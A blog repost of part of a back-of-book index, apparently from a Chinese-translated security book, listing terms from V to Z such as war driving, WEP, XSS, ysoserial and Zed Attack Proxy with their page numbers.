联合文件系统, 28

用户数据, 39, 177, 218

用户数据, 75

V

VAST, 143

veth, 26

视频广告服务模板, 143

视频文件, 139

虚拟化, 24

虚拟私人云 (VPC), 37, 96

虚拟私人网络 (VPN), 4

VirusTotal, 14, 54

W

战争驾驶, 5

Web 应用防火墙, 62

WebSocket, 69

WEP, 6

WHOIS, 56

Wi-Fi Map, 6

Windows Defender, 14, 16

WPA2, 6

X

XML, 143

XOR, 157

XSLT, 15

XSS, 60

Y

YAML, 110, 127

Yandex, 46

Yippy, 47

ysoserial, 142

Z

ZAP, 68

Zcash, 33

Zed Attack Proxy, 68

ZoomEye, 61

posted @ 2025-12-01 09:43  绝不原创的飞龙  阅读(21)  评论(0)    收藏  举报